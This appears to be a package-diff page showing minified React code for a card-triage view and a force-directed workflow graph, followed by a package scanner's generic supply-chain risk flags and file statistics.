pt-[18px]`,children:[g.map((e,t)=>(0,S.jsxs)(c,{type:`button`,variant:`outline`,"aria-pressed":j.priority===e,style:j.priority===e?{borderColor:l(e)}:void 0,onClick:()=>void N({priority:e},!1),children:[(0,S.jsx)(h,{children:t+1}),(0,S.jsx)(`span`,{style:{color:l(e)},children:e})]},e)),C.map(e=>(0,S.jsxs)(c,{type:`button`,variant:`outline`,onClick:()=>void N({status:e.status}),children:[(0,S.jsx)(h,{children:e.key}),(0,S.jsx)(`span`,{style:{color:s(e.status)},children:e.label})]},e.key))]}),(0,S.jsx)(`span`,{className:`mt-3.5 block text-xs text-muted-foreground`,children:`Every action writes the card's frontmatter to disk immediately. Shortcuts work while focus is outside a form.`})]})]}):(0,S.jsxs)(v,{className:`gap-3 p-10`,children:[(0,S.jsxs)(f,{children:[(0,S.jsx)(p,{children:(0,S.jsx)(r,{"aria-hidden":`true`,size:20,style:{color:s(`done`)}})}),(0,S.jsx)(m,{className:`text-sm`,children:`Queue clear`}),(0,S.jsxs)(_,{className:`text-[12.5px]`,children:[`You processed `,E.size.toLocaleString(),` cards.`]})]}),(0,S.jsx)(u,{children:(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>{D(new Set),k(0)},children:[(0,S.jsx)(i,{"aria-hidden":`true`}),`Start again`]})})]})}export{w as TriageView}; |
Sorry, the diff of this file is too big to display
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{at as r,ht as i}from"./ui-primitives-Beqd9I2k.js";import{c as a,r as o,s}from"./theme-CNCrPl--.js";import{W as c,ot as l}from"./index-Dpy209ef.js";var u=e(t(),1),d=[{id:`parent`,label:`parent`,declared:!0},{id:`depends`,label:`depends`,declared:!0},{id:`origin`,label:`origin`,declared:!0},{id:`supersedes`,label:`supersedes`,declared:!0},{id:`superseded_by`,label:`superseded by`,declared:!0},{id:`graduated_to`,label:`graduated to`,declared:!0},{id:`corrective_actions`,label:`corrective`,declared:!0},{id:`cards`,label:`cards`,declared:!0},{id:`decisions`,label:`decisions`,declared:!0},{id:`fragments`,label:`fragments`,declared:!0},{id:`related`,label:`related`,declared:!0},{id:`source`,label:`source`,declared:!0},{id:`wikilink`,label:`wiki link`,declared:!1},{id:`markdown`,label:`md link`,declared:!1},{id:`mention`,label:`mention`,declared:!1}],f=new Set(d.filter(e=>e.declared).map(e=>e.id)),p=[{id:`card`,label:`Cards`},{id:`memory`,label:`Memory`},{id:`doc`,label:`Docs`},{id:`change`,label:`Changes`},{id:`release`,label:`Releases`}],m=d.map(e=>e.id).filter(e=>e!==`mention`),h=[`card`,`memory`,`doc`];function ee(e,t){let n=e.filter(e=>t.kinds.has(e.kind)),r=new Set(n.map(e=>e.id)),i=[],a=new Map;for(let e of n)for(let n of e.edges){if(!r.has(n.to)||n.to===e.id)continue;let o=n.rel.filter(e=>t.relations.has(e));o.length&&(i.push({from:e.id,to:n.to,relations:o,declared:o.some(e=>f.has(e))}),a.set(e.id,(a.get(e.id)||0)+1),a.set(n.to,(a.get(n.to)||0)+1))}return{records:t.hideIsolated?n.filter(e=>a.get(e.id)):n,links:i,degree:a}}function g(e,t){let n=e*2.399963,r=18*Math.sqrt(e)+(t>200?40:0);return{x:Math.cos(n)*r,y:Math.sin(n)*r}}var _=9e3,v=.012,y=130,b=6e-4,x=.82;function S(e,t,n){for(let t=0;t<e.length;t+=1){let r=e[t];for(let i=t+1;i<e.length;i+=1){let a=e[i],o=r.x-a.x,s=r.y-a.y,c=o*o+s*s;c<1&&(o=(t-i)*.5,s=.5,c=o*o+s*s);let l=Math.sqrt(c),u=_*n/c,d=o/l*u,f=s/l*u;r.vx+=d,r.vy+=f,a.vx-=d,a.vy-=f}}let r=new Map(e.map(e=>[e.id,e]));for(let e of t){let t=r.get(e.from),i=r.get(e.to);if(!t||!i)continue;let a=i.x-t.x,o=i.y-t.y,s=Math.sqrt(a*a+o*o)||1,c=(s-y)*v*n,l=a/s*c,u=o/s*c;t.vx+=l,t.vy+=u,i.vx-=l,i.vy-=u}for(let t of e)t.vx-=t.x*b*n,t.vy-=t.y*b*n,t.vx*=x,t.vy*=x,t.x+=t.vx,t.y+=t.vy}function C(e,t,n){let r=new Map(e.map(e=>[e.id,e]));return t.map((e,i)=>{let a=r.get(e.id)??g(i,t.length);return{id:e.id,x:a.x,y:a.y,vx:0,vy:0,record:e,degree:n.get(e.id)||0}})}function w(e,t,n,r){let i=n-e,a=r-t,o=Math.sqrt(i*i+a*a)||1,s=Math.min(o*.18,60);return`M ${e} ${t} Q ${(e+n)/2-a/o*s} ${(t+r)/2+i/o*s} ${n} ${r}`}var T=.08;function E(e,t,n,r){let i=Math.min(4,Math.max(T,e.k*r));return{k:i,x:t-(t-e.x)/e.k*i,y:n-(n-e.y)/e.k*i}}function D(e,t,n){return{x:t-e.x,y:n-e.y}}function O(e){let t=1/0,n=1/0,r=-1/0,i=-1/0;for(let a of e)t=Math.min(t,a.x),n=Math.min(n,a.y),r=Math.max(r,a.x),i=Math.max(i,a.y);return{minX:t,minY:n,maxX:r,maxY:i}}var k=n(),A=`workfile-workflow-filters`;function te(){let e={relations:[...m],kinds:[...h],hideIsolated:!0};try{let t=localStorage.getItem(A);if(!t)return e;let n=JSON.parse(t);return{relations:Array.isArray(n.relations)?n.relations:e.relations,kinds:Array.isArray(n.kinds)?n.kinds:e.kinds,hideIsolated:typeof n.hideIsolated==`boolean`?n.hideIsolated:e.hideIsolated}}catch{return e}}function j({on:e,onClick:t,children:n,dashed:r}){return(0,k.jsx)(`button`,{type:`button`,"aria-pressed":e,onClick:t,className:a(`rounded-full border px-2 py-0.5 text-[11px] transition-colors`,e?`border-ring bg-accent text-foreground`:`border-border text-muted-foreground hover:bg-accent/50`,r&&`border-dashed`),children:n})}function M({selectedId:e,onSelect:t}){let[n,f]=(0,u.useState)(null),[m,h]=(0,u.useState)(null),g=(0,u.useRef)(te()),[_,v]=(0,u.useState)(()=>new Set(g.current.relations)),[y,b]=(0,u.useState)(()=>new Set(g.current.kinds)),[x,T]=(0,u.useState)(g.current.hideIsolated),[M,N]=(0,u.useState)(null),P=(0,u.useRef)(0),[F,I]=(0,u.useState)({x:0,y:0,k:1}),[,L]=(0,u.useState)(0),R=(0,u.useRef)({nodes:[],links:[],alpha:0}),z=(0,u.useRef)(null),B=(0,u.useRef)(!1);(0,u.useEffect)(()=>{let e=!0;return c.graph().then(t=>{e&&f(t.records)}).catch(t=>{e&&h(t.message)}),()=>{e=!1}},[]),(0,u.useEffect)(()=>{localStorage.setItem(A,JSON.stringify({relations:[..._],kinds:[...y],hideIsolated:x}))},[_,y,x]);let V=(0,u.useMemo)(()=>ee(n??[],{relations:_,kinds:y,hideIsolated:x}),[n,y,_,x]);(0,u.useEffect)(()=>{R.current.nodes=C(R.current.nodes,V.records,V.degree),R.current.links=V.links,R.current.alpha=1,L(e=>e+1)},[V]);let H=(0,u.useCallback)(()=>{let e=R.current.nodes,t=z.current;if(!e.length||!t)return;let n=t.getBoundingClientRect(),{minX:r,minY:i,maxX:a,maxY:o}=O(e),s=Math.min(3,Math.max(.15,Math.min(n.width/(a-r+160),n.height/(o-i+160))));I({k:s,x:n.width/2-(r+a)/2*s,y:n.height/2-(i+o)/2*s})},[]);(0,u.useEffect)(()=>{let e=0,t=()=>{let n=R.current;n.alpha>.02&&n.nodes.length&&(S(n.nodes,n.links,n.alpha),n.alpha*=.97,B.current||H(),L(e=>e+1)),e=requestAnimationFrame(t)};return e=requestAnimationFrame(t),()=>cancelAnimationFrame(e)},[H]);let U=e=>{e.preventDefault();let t=z.current?.getBoundingClientRect();if(!t)return;let n=e.clientX-t.left,r=e.clientY-t.top;B.current=!0;let i=e.deltaY<0?1.12:.89;I(e=>E(e,n,r,i))},W=(0,u.useRef)(null),G=e=>{B.current=!0,W.current={x:e.clientX-F.x,y:e.clientY-F.y},e.target.setPointerCapture?.(e.pointerId)},K=e=>{let t=W.current;if(!t)return;let n=D(t,e.clientX,e.clientY);I(e=>({...e,...n}))},q=()=>{W.current=null},J=(e,t,n)=>{let r=new Set(e);r.has(n)?r.delete(n):r.add(n),t(r)},Y=R.current.nodes,X=(0,u.useMemo)(()=>new Map(Y.map(e=>[e.id,e])),[Y,F]),Z=M??e,Q=Z?X.get(Z):void 0,$=(0,u.useMemo)(()=>{if(!Z)return null;let e=new Set([Z]);for(let t of V.links)t.from===Z&&e.add(t.to),t.to===Z&&e.add(t.from);return e},[Z,V.links]);return m?(0,k.jsxs)(`div`,{className:`p-6 text-sm text-muted-foreground`,children:[`The graph could not be read: `,m]}):(0,k.jsxs)(`div`,{className:`flex h-full min-h-0 flex-col`,children:[(0,k.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-3 gap-y-1.5 border-b px-3 py-2`,children:[(0,k.jsx)(`div`,{className:`flex flex-wrap items-center gap-1`,children:p.map(e=>(0,k.jsx)(j,{on:y.has(e.id),onClick:()=>J(y,b,e.id),children:e.label},e.id))}),(0,k.jsx)(`span`,{className:`h-4 w-px bg-border`,"aria-hidden":`true`}),(0,k.jsx)(`div`,{className:`flex flex-wrap items-center gap-1`,children:d.map(e=>(0,k.jsx)(j,{on:_.has(e.id),dashed:!e.declared,onClick:()=>J(_,v,e.id),children:e.label},e.id))}),(0,k.jsx)(`span`,{className:`h-4 w-px bg-border`,"aria-hidden":`true`}),(0,k.jsx)(j,{on:x,onClick:()=>T(!x),children:`hide isolated`}),(0,k.jsxs)(`div`,{className:`ml-auto flex items-center gap-2`,children:[(0,k.jsxs)(`span`,{className:`text-[11px] text-muted-foreground`,children:[V.records.length,` nodes · `,V.links.length,` edges`]}),(0,k.jsxs)(s,{type:`button`,variant:`outline`,size:`sm`,className:`h-7 gap-1 px-2 text-xs`,onClick:()=>{B.current=!1,H()},children:[(0,k.jsx)(i,{"aria-hidden":`true`,className:`size-3`}),`Fit`]})]})]}),(0,k.jsxs)(`div`,{className:`relative min-h-0 flex-1 overflow-hidden`,children:[n?null:(0,k.jsxs)(`div`,{className:`flex h-full items-center justify-center gap-2 text-sm text-muted-foreground`,children:[(0,k.jsx)(r,{"aria-hidden":`true`,className:`size-4 animate-spin`}),`Reading the graph…`]}),(0,k.jsxs)(`svg`,{ref:z,role:`presentation`,className:`size-full cursor-grab touch-none active:cursor-grabbing`,onWheel:U,onPointerDown:G,onPointerMove:K,onPointerUp:q,onPointerLeave:q,children:[(0,k.jsx)(`defs`,{children:(0,k.jsx)(`marker`,{id:`workflow-arrow`,viewBox:`0 0 8 8`,refX:`7`,refY:`4`,markerWidth:`5`,markerHeight:`5`,orient:`auto-start-reverse`,children:(0,k.jsx)(`path`,{d:`M 0 1 L 7 4 L 0 7 z`,className:`fill-muted-foreground`})})}),(0,k.jsxs)(`g`,{transform:`translate(${F.x} ${F.y}) scale(${F.k})`,children:[V.links.map(e=>{let t=X.get(e.from),n=X.get(e.to);if(!t||!n)return null;let r=$&&!($.has(e.from)&&$.has(e.to));return(0,k.jsx)(`path`,{d:w(t.x,t.y,n.x,n.y),fill:`none`,markerEnd:`url(#workflow-arrow)`,className:a(`stroke-muted-foreground transition-opacity`,r?`opacity-10`:`opacity-45`),strokeWidth:1.2/F.k,strokeDasharray:e.declared?void 0:`${4/F.k} ${3/F.k}`,children:(0,k.jsx)(`title`,{children:`${e.from} → ${e.to}: ${e.relations.join(`, `)}`})},`${e.from}->${e.to}`)}),Y.map(n=>{let r=$&&!$.has(n.id),i=n.id===e,s=Math.min(16,6+Math.sqrt(n.degree)*2);return(0,k.jsxs)(`g`,{transform:`translate(${n.x} ${n.y})`,className:a(`cursor-pointer transition-opacity`,r&&`opacity-20`),onPointerEnter:()=>N(n.id),onPointerLeave:()=>N(null),onClick:e=>{e.stopPropagation(),P.current=performance.now(),t(n.id)},children:[(0,k.jsx)(`circle`,{r:s,style:{fill:o(n.record.status||`backlog`)},className:a(i?`stroke-foreground`:`stroke-background`),strokeWidth:(i?3:1.5)/F.k}),(0,k.jsx)(`title`,{children:`${n.id} — ${n.record.title}`}),F.k>.55||i||r===!1?(0,k.jsx)(`text`,{y:s+11/F.k,textAnchor:`middle`,className:`pointer-events-none fill-foreground`,style:{fontSize:`${11/F.k}px`},children:n.id}):null]},n.id)})]})]}),Q?(0,k.jsxs)(`div`,{className:`pointer-events-none absolute bottom-3 left-3 max-w-[min(30rem,70%)] rounded-md border bg-background/95 px-3 py-2 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,k.jsx)(`span`,{className:`font-mono text-[11px] font-medium`,children:Z}),(0,k.jsx)(l,{variant:`secondary`,className:`px-1.5 py-0 text-[10px] font-normal`,children:Q.record.recordType})]}),(0,k.jsx)(`p`,{className:`truncate text-xs text-muted-foreground`,children:Q.record.title})]}):null]})]})}export{M as WorkflowView}; |
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 2 instances
Minified code
QualityThis package contains minified code. This may be harmless in some cases where minified code is included in packaged libraries, however packages on npm should not minify code.
Found 2 instances
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Minified code
QualityThis package contains minified code. This may be harmless in some cases where minified code is included in packaged libraries, however packages on npm should not minify code.
Found 2 instances
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
2173308
16.29%206
6.19%27409
23.29%52
4%7
40%